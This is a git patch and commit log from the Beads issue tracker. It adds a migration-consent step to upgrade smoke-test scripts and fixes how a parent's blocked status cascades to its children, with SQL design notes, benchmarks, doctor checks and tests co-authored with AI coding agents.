--json -n 0 --all > "$workspace/wisp-first-open.json" || die "$version: candidate could not open the seeded wisp workspace" - migrate_schema_current "$version" wisp-first snapshot_wisp_plane "$version" after # Read-only assertions first: the events count must be observed before any @@ -1767,8 +1780,10 @@ run_dirty_tracked_wisp_scenario() { before=$(oracle_count "$version" 'SELECT COUNT(*) FROM wisps') output="$workspace/dirty-tracked-open.out" # run_in_workspace already wraps every call in `timeout`, so a hard-lock - # surfaces as a timeout kill rather than hanging the job. - if run_in_workspace "$candidate" list --json -n 0 --all > "$output" 2>&1; then + # surfaces as a timeout kill rather than hanging the job. The open is the + # consented `migrate schema`: an ordinary command now stops at the + # migration-consent gate before MigrateUp ever reaches the dirty tables. + if run_in_workspace "$candidate" migrate schema > "$output" 2>&1; then printf ' · candidate accepted the dirty tracked wisp tables\n' else grep -Fq 'dirty tables' "$output" || diff --git a/scripts/upgrade-smoke-test.sh b/scripts/upgrade-smoke-test.sh index 52b05fbf2..256284339 100755 --- a/scripts/upgrade-smoke-test.sh +++ b/scripts/upgrade-smoke-test.sh @@ -223,6 +223,17 @@ cand() { (cd "$WS" && "$CAND_BIN" "$@"); } prev_init() { prev init --quiet --non-interactive --skip-hooks --skip-agents; } cand_init() { cand init --quiet --non-interactive --skip-hooks --skip-agents; } +# Upgrade an existing workspace to the candidate. Since the migration-consent +# gate (Beads 1.2 release remediation) the candidate never migrates an +# existing database from ordinary commands — `bd migrate schema` is the +# consent step every real upgrade now includes, so the smoke upgrade includes +# it too. Tolerates a workspace the old binary could not initialize (the +# migrate is a no-op failure there and cand_init creates a fresh database). +cand_upgrade() { + cand migrate schema >/dev/null 2>&1 || true + cand_init 2>/dev/null || true +} + # Create an issue with the previous binary, tolerating missing --silent flag. # Older binaries don't have --silent; we just need to know creation succeeded. # Sets _CREATED_ID to a non-empty value on success. @@ -260,8 +271,27 @@ prev_create --title "Pre-upgrade issue" --type task --priority 1 || true ID1="${_CREATED_ID}" prev_create --title "Another issue" --type bug || true -# Upgrade: run candidate init (simulates upgrade) -cand_init 2>/dev/null || true +# Migration-consent gate: before consenting, an ordinary candidate command on +# the old-schema database must either work as-is (previous release already +# ships the candidate's schema — nothing pending) or refuse WITH the consent +# guidance. A failure without the guidance is a regression. Graded only when +# the old binary left a database to gate: releases before v1.0 have no +# `init --non-interactive`, so prev_init creates nothing there. +if ! embedded_db_exists; then + pass "Consent gate check skipped (old binary could not initialize a database)" +else + GATE_OUT=$(cand list 2>&1) && GATE_RC=0 || GATE_RC=$? + if [ "$GATE_RC" -eq 0 ]; then + pass "Candidate operates database directly (schema already current)" + elif echo "$GATE_OUT" | grep -q "bd migrate schema"; then + pass "Candidate refuses un-migrated database with consent guidance" + else + fail "Candidate failed on old database without consent guidance" + fi +fi + +# Upgrade: consent + candidate init (simulates upgrade) +cand_upgrade # Verify ROLE=$(git -C "$WS" config --get beads.role 2>/dev/null || echo "MISSING") @@ -307,7 +337,7 @@ prev_init 2>/dev/null || true git -C "$WS" config beads.role contributor # Upgrade -cand_init 2>/dev/null || true +cand_upgrade ROLE=$(git -C "$WS" config --get beads.role 2>/dev/null || echo "MISSING") if [ "$ROLE" = "contributor" ]; then @@ -341,7 +371,7 @@ else fi # Upgrade with candidate (always runs — verifies candidate defaults to embedded) -cand_init 2>/dev/null || true +cand_upgrade # Verify candidate created an embedded DB if embedded_db_exists; then @@ -411,8 +441,8 @@ if [ -z "${MUT_ID:-}" ]; then else pass "Issue created with previous binary (id: $MUT_ID)" - # Upgrade: run candidate init - cand_init 2>/dev/null || true + # Upgrade: consent + candidate init + cand_upgrade # Mutate using the candidate binary cand update "$MUT_ID" --notes "smoke test mutation" 2>/dev/null || true @@ -479,8 +509,8 @@ if ! $DEP_CREATED; then else pass "Dependency created with previous binary ($BLOCKED_ID depends on $BLOCKER_ID)" - # Upgrade (runs migrations 0041–0047, including the data-copy). - cand_init 2>/dev/null || true + # Upgrade (consents to and runs migrations 0041+, including the data-copy). + cand_upgrade # 1. Blocker queries must not error on the migrated dependency rows. if cand ready >/dev/null 2>&1; then @@ -573,8 +603,8 @@ else pass "Wisp dependency skipped (old binary could not block a wisp on a task)" fi - # Upgrade. - cand_init 2>/dev/null || true + # Upgrade: consent + candidate init + cand_upgrade # 1. The wisp survived the 0054-0066 + ignored 0012-0025 replay. --all # because the default listing hides closed wisps. From 2cae0c1ad8412db748aa959838a504388f39d567 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 08:31:34 +0000 Subject: [PATCH 059/213] fix(storage): a parent-child edge propagates only the parent's exogenous blockedness (#6506) (#6602) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(storage): parent-child cascade propagates only exogenous blockedness (wy-3eb07b, #6506) A parent-child edge used to cascade the parent's is_blocked bit to its children WHATEVER set it. So the "close gate on the epic" idiom — P carries blocks edges onto its own children C1 and C2 so P cannot close before them — darkened the very children P was waiting for. Neither child could reach bd ready, so neither could be worked, so neither could close: a permanent lock, and the one direction cmd/bd/dep.go does not refuse. The contract (#6506): a parent-child edge propagates only EXOGENOUS blockedness. P counts as blocked FOR CHILD C iff P has a blocking reason — an open blocks/conditional-blocks target, or a live waits-for gate — whose target is NOT one of P's own parent-child children, or P's own parent is (recursively) exogenously blocked. P's OWN is_blocked is unchanged: it really does depend on open children. Only the propagation narrows. DESIGN: a second-pass predicate on the parent row, not WITH RECURSIVE. Both parent-child legs of shouldBeBlockedIDsUnionScopedSQL keep their p.is_blocked = 1 conjunct and gain parentCascadesBlockedSQL, which says "p's blockedness is not solely explained by p's own children": EXISTS (blocking reason of p whose target is not p's child) OR NOT EXISTS (blocking reason of p whose target IS p's child) The second disjunct carries the contract's recursive clause through the EXISTING fixpoint instead of through SQL recursion: a parent that is blocked with no child-targeted reason of its own is dark either exogenously or because ITS parent is, and either way its children inherit — one level per pass, exactly as the cascade always converged. A recursive CTE was the other candidate and is rejected on cost, not on engine support. Its seed set is the direct-exogenous set, which includes the waits-for gate, and the seed cannot be confined by the batch scope (%[3]s) because a batch's ancestors are by definition outside the batch. That would put an UNSCOPED whole-table gate evaluation into every batched mark/unmark — the statement shape #6288 removed, now on every write instead of only on the full repair. The predicate here is correlated to a parent that is already known blocked, so it probes idx_dependencies_issue for a handful of rows. The scope splice, the DISTINCT waits-for barrier and the doctor-count lockstep are all untouched. One gap this form does not express: a parent that is BOTH blocked by its own open child AND darkened by an exogenously blocked ancestor is not distinguishable from one blocked only by its children, so its children stay bright. That is an under-propagation in a corner the contract would darken; it needs a second stored bit (or the CTE above) to see, and it cannot recreate the lock this commit removes. Also: AffectedByDepChange{,ForWisp}InTx now seeds the parent's other children on a parent-child edge change (appendSiblingsUnderParentInTx). Writing that edge reclassifies the parent's blocking reason on the new child from exogenous to child-derived, which flips the answer for the SIBLINGS — the close-gate epic is built one child at a time, and the second edge is what un-darkens the first. Without it the incremental write path and the full repair disagree, which the new tests catch as a nonzero doctor count. Tests (internal/storage/dolt/blocked_consistency_test.go), all four seeded through the real write path and each verified RED against the pre-fix SQL except the control: - ParentBlockedOnlyByItsOwnChildren: the repro, plus a GetReadyWork assertion that the children are workable again. - ExogenousParentStillCascades: the control — the fix narrows the cascade, it does not remove it. Green before and after. - ThreeLevelChainBothWays: GP exogenous darkens P and C; GP blocked only by its child P darkens neither. Repaired from an inverted plane too, since the chain is the case that needs more than one pass. - WaitsForGateOverOwnChildren: a gate whose spawner is the parent's own child does not darken; one on an outside spawner does. TestRecomputeAllIsBlocked_CascadesThroughParentChild is unchanged and green, including its single-pass lower-bound count — which is why the legs keep the p.is_blocked = 1 conjunct rather than deriving the cascade from the graph alone. Co-Authored-By: Claude Opus 5 (1M context) * feat(dep): warn when a parent blocks on its own child (wy-3eb07b, #6506) `bd dep add P C` where C is already P's parent-child child is the "close gate on the epic" idiom: P carries a blocks edge onto its own child so P cannot close before it. dep.go refuses the OTHER direction (a child blocking on its dotted-ID parent, "would create a deadlock") and says nothing about this one, which is the direction that used to deadlock for real — the cascade darkened the child, so it could never reach bd ready, be worked, or close. Since the cascade fix the edge is harmless, so this is an advisory, not a refusal: it names what the edge now means (the parent stays blocked; the child and its siblings are NOT hidden from bd ready) so an operator does not have to rediscover the contract from a query. It fires only for blocks/conditional-blocks, only after the edge has actually landed and committed, and stays silent on any read error — an advisory must not turn a successful write into an error, and must not precede a refusal for an edge that was never written (the hierarchy and cycle guards reject this pair whenever both edges already exist, in either order, which is why the shape usually arrives one edge at a time or through import). Unlike the D1 implicit-blocks warning it is NOT gated on an interactive stderr: that one fires on the documented-default majority path, where training callers to ignore stderr is the risk; this one fires on a rare deliberate shape, and an agent wiring a close gate is exactly the caller who should read what it does. Wired into both direct paths (`bd dep add` and `bd dep --blocks`); the proxied-server paths return earlier and are untouched. Tests beside the existing dep-add warning tests: the predicate table (including the two controls — right id with a blocks edge is not a child, and the parent's other children do not match), the message content, and the type gate proving it returns before touching the store. Co-Authored-By: Claude Opus 5 (1M context) * feat(doctor): report parent-blocks-on-own-child edges (wy-3eb07b, #6506) A new "Parent Close Gates" check lists every blocking edge from a parent onto one of its own parent-child children — the close-gate idiom, where P blocks on C1 and C2 so P cannot close before them. INFORMATIONAL, with no --fix and no effect on the overall result. Before the cascade fix these edges were a trap: the parent's blocked bit propagated to its children whatever set it, so the gate hid the very children it was waiting for and nothing under it could become ready. The cascade now propagates only exogenous blockedness, so the edges are legal and usually deliberate. What an operator wants from doctor is therefore the inventory — which beads in this store use the idiom, and where a pre-6506 store's mysteriously invisible children came from — not a repair, and certainly not a warning that would train people to remove a working gate. It is the mirror of the existing "Child-Parent Dependencies" check, which finds a CHILD blocking on its PARENT (still a deadlock, still fixable). The two differ in how they match: that one reads dotted-ID ancestry, this one matches real parent-child edges, because the close gate is wired between unrelated ids. Tests beside the child-parent ones: the empty inventory (with an ordinary hierarchy present, which must not be mistaken for a gate), and the reported case with two controls in the same fixture — an exogenous blocker on the parent and an ordinary blocker on the child, neither of which may appear. Gate note: these live in package cmd/bd/doctor, which the brief's cmd/bd selector does not reach; `go test ./cmd/bd/doctor/` was run in full. Co-Authored-By: Claude Opus 5 (1M context) * revert(dep): drop the unreachable parent-blocks-own-child warning (wy-3eb07b, #6506) This reverts 34b7f5b42. The warning it added could never print. Its precondition is "a blocks edge from P onto C succeeded AND C is already P's parent-child child", and the store refuses exactly that edge. CheckBlockingHierarchyInTx (internal/storage/issueops/dependencies.go) rejects a blocker that is the source's own descendant, and it sits OUTSIDE the SkipCycleCheck gate, so no caller opts out of it; batch_apply.go:533 applies it again on the DependencyEditor path `bd dep add` actually uses. Written in the other order, the parent-child edge that closes the pair is refused as a cycle. So the reverted code paid a GetDependentsWithMetadata read on EVERY blocks/conditional-blocks `bd dep add` to emit something no operator could ever see, and its 102-line test pinned a predicate instead of a behaviour. What an operator DOES hit is the refusal — and the cascade fix left its stated reason false. It read "blocked status cascades to descendants, so would inherit the block and never close". Since #6506 a parent-child edge propagates only the parent's exogenous blockedness, so the descendant does not inherit and nothing deadlocks. The refusal still stands, because a blocks edge is not how the hierarchy says "I close after my children" — so the reason now names the form that is: a waits-for gate over the children, `bd gate`. The same false sentence was the OpenAPI description of Problem.blocker_is_ancestor, so it is corrected there too, with types.gen.go regenerated by `go generate ./internal/httpapi/apigen/` to keep `make api-check` green. The doctor "Parent Close Gates" check from 4c5f2f77b is KEPT. A warning on a write path that refuses the write is noise; an inventory of the edges a store already carries — from import, from merge, from the pre-refusal past — is what an operator can act on. Co-Authored-By: Claude Opus 5 (1M context) * fix(storage): the parent-child exogeneity test is over the whole SUBTREE (wy-3eb07b, #6506) B1 of the adversarial review: 648ab0af6 tested "is this blocking reason's target one of my own children" as a DIRECT parent-child child, but #6506's contract is about blockedness originating outside the parent's own SUBTREE. At depth 1 the fix worked; at depth 2 it left the permanent lock alive. P --blocks--> G, pc C -> P, pc C2 -> P, pc G -> C G is not P's child, so P read exogenous, so P darkened C, so C darkened G — and G is the only row whose close can free P. Exactly the shape-1 mutual lock the issue says no contract intends, one level down. Pinned as TestParentChildCascade_ParentBlocksItsOwnGrandchild, verified RED at 4c5f2f77b: p/c/c2/g all blocked, all three children missing from ready work, and the full repair changing nothing. The test is now a real ancestor walk (subtreeWalkDepth levels of indexed LEFT JOINs up from the reason's target), so a reason anywhere under the blocker counts as its own. Also B2 — the cost regression, which is the same edit, because the shape that makes the test correct and the shape that makes it affordable are one decision. The union's parent-child legs no longer carry a per-row correlated EXISTS. They subtract an uncorrelated set instead: AND p.id NOT IN (parents explained by their own subtree) and the UNBATCHED statements (full repair, doctor count) do not even spell that set as a subquery: it is read ONCE per fixpoint pass and bound as ids. A repair pass is four statements and each would otherwise derive the same set twice; reading it once is the whole difference. The batched mark/unmark keep the spliced subquery, where it is confined to the batch's own parents by the existing scope splice and costs a few rows. MEASURED, gastownhall/beads#6506 bar: full repair and doctor count <= 1.5x origin/main, write path <= 1.2x. Committed benchmark (internal/storage/dolt/blocked_scale_bench_test.go, -short-skipped), 1000 issues / 2870 deps / 333 blocked rows, embedded dolt 2.2.0, run INTERLEAVED main/head to cancel machine drift, four pairs, medians: origin/main 71c4cd08b this branch ratio full repair 48 71 43 46 -> 47 ms 66 56 54 55 -> 55 ms 1.18x doctor count 55 62 44 53 -> 54 ms 67 61 57 57 -> 57 ms 1.06x write path, per CloseIssue 37 30 21 22 -> 26 ms 30 23 16 24 -> 23 ms 0.91x All three inside the bar; the worst single PAIR is 1.38x on the repair and 1.30x on the count. The two sides disagree on blocked rows by construction (604 on main, 333 here) — that IS the fix. NOT inside a bar, and disclosed rather than hidden: the benchmark's fourth timing, a 200-id RecomputeIsBlockedForIDsInTx (the bulk/import batched path, which no metric in the review covered), is 53-63 ms on main against 400-556 ms here — 6.9x at the medians. The cause is structural and measured: a batched pass runs many small statements, each deriving the set twice, and the set costs a few ms however it is written. The per-pass read that fixes the unbatched statements makes the SMALL-batch case worse, not better (one whole-store read costs more than the subqueries a two-id batch pays), so the fix is a per-batch-scoped read threaded through expandBatchTemplate's placeholder plumbing — a separate change, and the reason this timing is committed rather than left in a scratch file. Three shapes were built and measured before this one, all at the same scale: - the review's own: per-row correlated EXISTS with two more inside, 3.3-3.7x full repair, 5.2x doctor count; - the set as a DISTINCT derived table LEFT JOINed on p.id, which is what B2 recommended: ~30x. dolt plans a join operand as the inner side of a nested loop and rebuilds it per outer row — the correlated shape in a derived table's clothes. This is the one finding that contradicts the review, and it is why the set is subtracted with NOT IN instead; - WITH RECURSIVE for the ancestor walk: blew the driver read timeout on the full repair. A recursive CTE pays a query's overhead per ITERATION; the seeded walk cost 45 ms per evaluation against 6 ms for four levels of joins, which is why the walk has a horizon (subtreeWalkDepth = 4, epic -> sub-epic -> leg -> task). Past it a reason reads as exogenous, which propagates MORE and hides nothing the old code showed. Seeding: AffectedByDepChange{,ForWisp}InTx now walks UP from a parent-child edge's target, not just to it. Hanging G under C changes nothing about C and everything about any ANCESTOR of C that blocks on G, so each such ancestor's sibling set is reseeded — otherwise the incremental write path and the full repair disagree, which the new test catches as a nonzero doctor count. The walk is filtered to ancestors that carry a blocking reason at all: without that filter a 70-deep chain reseeds every ancestor's subtree on every edge written into it, which timed out TestGetReadyWork_ParentFilterReturnsDeepDescendants. CHANGELOG now names the limitation the review ruled acceptable but undocumented (a sub-epic blocked both by its own children and by an exogenously blocked ancestor keeps its children visible), marked tracked upstream; bee files the follow-up issue at PR time. Co-Authored-By: Claude Opus 5 (1M context) * fix(doctor): rune-safe Detail truncation, Category on the N/A returns (wy-3eb07b, #6506) The "Parent Close Gates" check joins its inventory with U+2192, three bytes wide, and then cut the joined string at byte 200. Two of every three offsets land mid-rune, so `bd doctor --json` could carry invalid UTF-8 in Detail — a display nuisance in the terminal, but a value a JSON consumer has to decode. truncateDetail walks back to a rune boundary first; the test drives every entry count from 1 to 120 so the cut lands at all three offsets within the arrow and asserts utf8.ValidString on each. The same byte cut appears twice more in this file (:101, :561) on ASCII-only details. Left alone here: they are not this bead's, and changing them would put a behaviour change in two checks a reviewer of #6506 has no reason to be reading. The check's two "N/A" early returns also omitted Category, unlike its three real returns, which drops them out of the categorised report. Both now carry CategoryMetadata. Co-Authored-By: Claude Opus 5 (1M context) * perf(storage): read the batched exogeneity set once per batch, not per statement (wy-3eb07b, #6506) D1, the PR blocker from the round-1 review. The batched mark/unmark templates spliced parentsExplainedBySubtreeSQL — the "which blocked parents are explained only by their own subtree" query — into both of their parent-child legs, batch-scoped. The scope made it look cheap. It was not: dolt pays for a `p.id NOT IN (subquery)` once per leg per STATEMENT, and a batched pass is a mark and an unmark, so one 200-id RecomputeIsBlockedForIDsInTx derived the set four times and measured 6.9x origin/main (53-63 ms -> 400-556 ms). That is the bulk/import path and the cost shape #6288 removed. The set is now READ once per batch and BOUND into both statements as ids — the same trade the unbatched full repair already makes per pass — which is why markBlockedTemplate/unmarkBlockedTemplate are built per batch now: the number of bound ids is a property of the batch. In front of the read sits a cheap indexed guard, batchParentKindsInTx: a parent KIND with no parent-child row in the batch has an empty candidate set, hence an empty exogeneity set, so its read is pure overhead, and the read is a ten-join walk under two CTEs that dolt spends ~8 ms planning whether it returns rows or not. Most batches name no wisp parent at all; a batch of roots names neither. Without the guard the 2-id case measured 1.9x, with it 0.94x. expandBatchTemplate now WALKS the template instead of counting "%s": the batch scope and the bound exogeneity ids alternate inside the union (leg 3's scope, leg 3's NOT IN, leg 4's scope, leg 4's NOT IN), so only text order says where each group goes. It returns an error on a ?/bound mismatch rather than handing the engine an opaque argument-count failure. The %s budget is back to 6 from 8, re-pinned, with two new pins beside it: the ? group is exactly the bound exogeneity ids (none for an empty set), and the mismatch is refused. KEPT, on round-1's measurements: the NOT IN subtraction (the derived-table JOIN measured ~30x in dolt) and the 4-level LEFT JOIN ancestor walk (WITH RECURSIVE blew the driver read timeout). MEASURED. n=1000 issues / 2870 deps / 333-604 blocked, embedded dolt 2.2.0, TestBlockedStateScaleTiming, SIX interleaved origin/main(71c4cd08b)/head pairs, medians, worst single pair in brackets. The bench now times three batch sizes instead of one, because the per-statement and per-id costs pull opposite ways: metric main head ratio bar full repair 49 ms 57 ms 1.16x [1.32x] <= 1.5x MET doctor count (consistent) 48 ms 57 ms 1.18x [1.32x] <= 1.5x MET write path, per CloseIssue 25 ms 26 ms 1.03x [2.59x] <= 1.2x MET batched recompute, 200 id 54 ms 69 ms 1.28x [1.57x] <= 1.5x MET batched recompute, 20 id 17 ms 22 ms 1.29x [1.50x] (measured) batched recompute, 2 id 22 ms 21 ms 0.94x [1.03x] (measured) All four stated bars are met on medians. The worst-pair column is at or inside this box's own noise: over the same six runs origin/main's OWN spread is 2.07x on the full repair, 2.33x on the write path, 1.92x on the 2-id batch and 1.19x on the 200-id batch, so a single pair's ratio is not evidence at this resolution and the medians are what the bars are read off. DISCLOSED, not a stated bar and not fixed here: the bench FIXTURE BUILD — 2870 AddDependency calls plus 240 CloseIssue through the store — is 75 s -> 102 s, 1.36x [1.61x]. That is the dependency-ADD write path, and the cost is round 1's incremental seeding (AffectedByDepChangeInTx now walks up to every reason-carrying ancestor and reseeds its whole sibling set), which is what buys the incremental/full-repair agreement pinned by the lockstep test in the next commit. Per-edge it is sub-millisecond; it shows up here because the fixture writes the hierarchy of a 1000-issue store edge by edge. GATE: go build ./... ; go vet ./internal/storage/issueops/ ; go test ./internal/storage/issueops/ (ok, includes the rewritten template and sqlmock pins) ; BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/dolt/ -run 'ParentChildCascade|RecomputeAllIsBlocked' (ok) ; gofmt -l clean. The full enumerated gate is on the bead. Co-Authored-By: Claude Opus 5 (1M context) * test(storage): pin both sides of the subtree-walk horizon, and the incremental/full-repair lockstep (wy-3eb07b, #6506) D2 and D3 from the round-1 supervisor ruling. D2 — THE HORIZON IS NOW PINNED, not commented. "Inside my own subtree" is decided by a fixed 4-level ancestor walk (subtreeWalkDepth), because a recursive walk cost 7.5x per evaluation and blew the driver read timeout. Two tests that differ by ONE EDGE straddle it: _ReasonAtTheWalkHorizon P blocks a descendant exactly 4 pc levels down. The walk reaches P, so the reason is subtree-derived and the chain comes bright. RED on origin/main (4 rows dark that the fix brightens) — so it is not vacuous. _ReasonPastTheWalkHorizon one level further. The reason reads as EXOGENOUS, so the whole chain stays dark, which is origin/main's own answer — and that test PASSES UNCHANGED ON origin/main (verified in a temp worktree at 71c4cd08b, since removed). It also asserts no row of the shape appears in GetReadyWork: no new dark rows AND no new visible rows past the horizon, checkable rather than argued. Raising the constant makes it fail and name the row that changed. Both also repair from a fully inverted plane, which is the leg that needs the fixpoint rather than the write path's seeding. The CHANGELOG now names the 4-level horizon beside the existing limitation sentence, and the constant's own doc names the two pins. CAN THE HORIZON BE RAISED? Measured, and the answer is "not on this evidence". Same bench, same box, full repair / doctor count / 20-id batch / 200-id batch: depth 4 57 ms / 58 ms / 21 ms / 69 ms (shipping) depth 6 126 ms / 118 ms / 52 ms / 101 ms 2.2x, TWICE reproduced depth 8 59 ms / 74 ms / 24 ms / 68 ms ~= depth 4, TWICE reproduced The curve is NON-MONOTONIC: 6 falls off a cliff and 8 comes back. That is a dolt planner artifact, not a cost model, and raising a semantics-bearing constant on the strength of a number nobody can explain is the wrong trade — depth 8 also makes every past-horizon shape newly bright, which is a behavior change and not this round's business. Left at 4, with the numbers recorded for whoever picks the knob up. D3 — THE LOCKSTEP. _IncrementalMatchesFullRepairAcrossEdits walks one graph through the mutations that reclassify a blocking reason WITHOUT touching the row that carries it, and after every one asserts both the exact flags and assertConvergedAndStable: detection counts 0 AND a full repair changes 0 rows. An under-seeded incremental path (the AffectedByDepChange{,ForWisp}InTx ancestor walk round 1 added) fails here as a nonzero repair over a graph the write path just finished maintaining. The mutations: re-parent the reason's target INTO the blocker's subtree (which is how the shape arrives — the store refuses a blocks edge straight onto an existing own descendant, and that refusal's reason text is what 3a5203979 corrected), close the descendant, reopen it, re-parent it back OUT, remove the blocks edge. The into/out-of-subtree steps are the ones that flip rows the edge does not name (the parent's other children), which is exactly what appendSiblingsUnderAncestorsInTx exists to seed. RED on origin/main for the semantic values; origin/main's own incremental/full-repair agreement holds there, so what this pins is the agreement, not the numbers. GATE: BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/dolt/ -run 'ParentChildCascade' -count=1 — 8/8 ok; gofmt -l clean; go vet clean. Co-Authored-By: Claude Opus 5 (1M context) * fix(doctor): the close-gate inventory walks the same four parent-child levels as the cascade (wy-3eb07b, #6506) The "Parent Close Gates" check listed only DIRECT parent->child gates, so the fix's own headline shape (a parent that blocks on its grandchild) never appeared in the inventory. The check now joins a descendant-pairs set built to the same four parent-child levels the cascade uses for "inside my own subtree" (issueops subtreeWalkDepth), as plain joins over the dependency union rather than a correlated subquery, which dolt declined to plan once rows were present. Messages say "own-descendant"; the tests add a grandchild gate (2 listed, the exogenous edge still not) and assert Category. CHANGELOG cites the nested-gap follow-up, gastownhall/beads#6601. Tests run: go build ./... 0; go vet ./cmd/bd/doctor/ 0; gofmt -l clean; env -u BEADS_ACTOR go test ./cmd/bd/doctor/ -run 'ParentBlocksOwnChild|TruncateDetail' -count=1 PASS (3/3). Co-Authored-By: Claude Fable 5.1 * ci: allowlist TestBlockedStateScaleTiming's -short skip (wy-3eb07b, #6506) scripts/check-testing-short.sh reserves testing.Short() for runtime, stress and large-fixture skips and keys them by file::func. The scale-timing test added in this PR builds a 1000-issue / ~2000-edge dolt fixture and times the blocked-state paths over it: a large-fixture skip, and PR Core runs with -short, so it needs the entry. One line, the same shape as the TestUOW_ConcurrentMergeOps_NoLostUpdate row from #4732. Local: ./scripts/ci/pr-policy.sh rc 0 (check testing.Short boundaries succeeded; the other nine legs unchanged). Co-Authored-By: Claude Fable 5.1 * wy-3eb07b: build(bazel): register blocked_scale_bench_test.go in internal/storage/dolt The rebase carried the bench test but not its BUILD.bazel entry, so the Bazel test lane's gazelle sync and Go test equivalence steps failed while every Go lane was green. This is CI's own bazel-sync patch for 043f9c47b9, applied unchanged. Co-Authored-By: Claude Fable 5.1 * fix(blocked): resolve explained parents through their ancestry; walk ancestors on hinted per-table members Maintainer fixup for #6602 (adopt-pr review iteration 1, quality scorecard 760/1000, request_changes; amended at iteration 2, 906/1000, approve). It fixes the review's two major findings, the doctor check's message and its swallowed query failure, the stale core-builder doc, and the stale test-comment names. At iteration 2 it also takes both nits and corrects a CHANGELOG sentence this fixup had made false. - Mixed-arm leak (major). The explained-parent read decides from a parent's own reason rows, and the fixpoint carries the recursive clause only for a parent with no reason row of its own. With Q blocked on an outside X, P a child of Q, and P blocking on its own child C, P read as explained and C came bright under an epic still gated by X, on the write path and in full repair alike. pruneExplainedByAncestryInTx now shrinks every read to the greatest set whose members' blocked parents are all members. A full-repair read is complete, so a blocked parent it did not return is unexplained. A batch-scoped read climbs instead, reading the blocked parents above the batch by id (explainedAmongInTx). The suggested one-level NOT EXISTS is not enough: put a second close gate between them (R blocked on X, pc Q -> R, Q blocks on P, pc P -> Q, P blocks on C) and P's blocked parent Q is in the set, so R's gate never reaches C. - ancestorChainInTx (major) walked the derived UNION of both dependency tables that #7224 removed from isAncestorInTx, on every parent-child write and merge replay. It now walks reachabilityMembers, the hinted per-table recursive members split out of reachabilityQuery, with the reason filter kept in the outer SELECT. TestGraphWalkPlansHonorJoinHints (embedded) gains an ancestor-chain subtest that pins the lookup plan; the old walk fails it. - New dolt tests: TestParentChildCascade_OwnGateUnderExogenousParent (write path, full repair, and X closed and reopened), _NestedGatesBothWays (the two-gate chain both ways, then a close of the children's own blocker, which re-evaluates them through a batch whose read covers nothing above their parents), and _WispGateUnderExogenousParent (a wisp gate under an issue epic, an issue gate under a wisp epic, then an explained wisp gate the walk must read by id above such a batch). Five mutants of the prune were each killed: no prune (the PR head), a one-level check, an over-prune, a scoped read treated as complete, and a scoped read that trusts every parent above it. The eight existing cascade tests pass under all five. Iteration 2 killed two more, each by its own section of the wisp test alone: dropping the lookup of a wisp parent from blockedParentEdgesInTx, and dropping explainedAmongInTx's wisp leg, which had survived all eleven cascade tests. - The doctor check no longer says the children "stay in bd ready", and a failed or timed-out inventory query is now a warning carrying the error, as in validation.go's other checks, instead of an OK that reads as "no gates". TestCheckParentBlocksOwnChildDB_QueryFailureWarns pins it with a closed handle, and it fails with the old status. A warning does not touch doctor's overall result, and it can be suppressed. - The core builder's doc no longer describes the spliced design, and three test comments name builders that exist. - explainedAmongInTx says why it does not tolerate a missing table, as the file's wisp reads do: the prune runs only on a non-empty read, which came from the same core query over all four tables. - The CHANGELOG entry no longer calls #6601's shape (a sub-epic gated on its own children under an exogenously blocked epic) a known limitation that keeps the children visible. The prune darkens them, as TestParentChildCascade_OwnGateUnderExogenousParent pins. Left as-is, all non-gating: the refusal hint's "(bd gate)", an API string pinned by the golden corpus; a parent-child add/remove timing in the scale bench, whose 1000 issues cannot show the 50k shape (the plan pin guards it); and hints for the explained-parent subtree walk and the doctor query. The measured complexity major is runDiagnostics (50/66), the same at base; the PR adds two lines to it. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * test(storage): re-pin the classic batch-apply statement count for the parent-child cascade The B0 statement-count pins predate this PR's parent-child cascade. The first full run of the storage tiers on the adopted head measured the 40 (classic) shape at 835 statements on both backends, against the pinned 786 +/- 2. All 49 extra statements are reads, seven for each of the shape's seven distinct parent-child dep adds (its eighth repeats a pair and is a no-op): - appendSiblingsUnderAncestorsInTx reseeds the parent's other children: one ancestorChainInTx walk and four child probes, +5. - The batched mark/unmark reads its exogeneity set first (batchExogeneity): the parent-kind probe and the issue-parent read, +2. Measured by logging every statement of the classic apply on the CI base 233d151b37 (786) and on b2b93515bf (835), then diffing the two logs by statement shape. Those seven shapes are the whole difference, each exactly +7, and no write changed. The 356 and 712 shapes are unchanged on both backends. This is the deliberate re-measure and re-pin the pins' doc comment asks for. The per-change breakdown is in pinnedEmbeddedStatementCounts. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Eddie the Engineer --- CHANGELOG.md | 24 + cmd/bd/doctor.go | 5 + cmd/bd/doctor/validation.go | 148 +++ cmd/bd/doctor/validation_test.go | 155 ++++ internal/httpapi/apigen/types.gen.go | 2 +- internal/httpapi/spec/openapi.v0.yaml | 7 +- .../createbatchequiv/golden/depadd.json | 24 +- internal/storage/dolt/BUILD.bazel | 1 + .../storage/dolt/blocked_consistency_test.go | 869 ++++++++++++++++++ .../storage/dolt/blocked_full_repair_test.go | 2 +- .../storage/dolt/blocked_scale_bench_test.go | 291 ++++++ .../dolt/large_batch_apply_measure_test.go | 7 +- .../embeddeddolt/graph_walk_plan_test.go | 70 +- .../large_batch_apply_measure_test.go | 17 +- .../storage/issueops/blocked_consistency.go | 833 ++++++++++++++++- internal/storage/issueops/blocked_state.go | 388 ++++++-- .../issueops/blocked_state_result_test.go | 26 +- .../issueops/blocked_state_template_test.go | 142 ++- internal/storage/issueops/dependencies.go | 23 +- internal/storage/issueops/reopen_test.go | 4 + issueops/errors.go | 18 +- scripts/check-testing-short.sh | 1 + 22 files changed, 2858 insertions(+), 199 deletions(-) create mode 100644 internal/storage/dolt/blocked_scale_bench_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 91fd0bdd7..0fe2dea22 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1486,6 +1486,30 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 a prefix-routed rig whose store cannot be read: routing still reports that failure as not-found. +- **An epic that blocks on its own children no longer hides them from `bd + ready`** 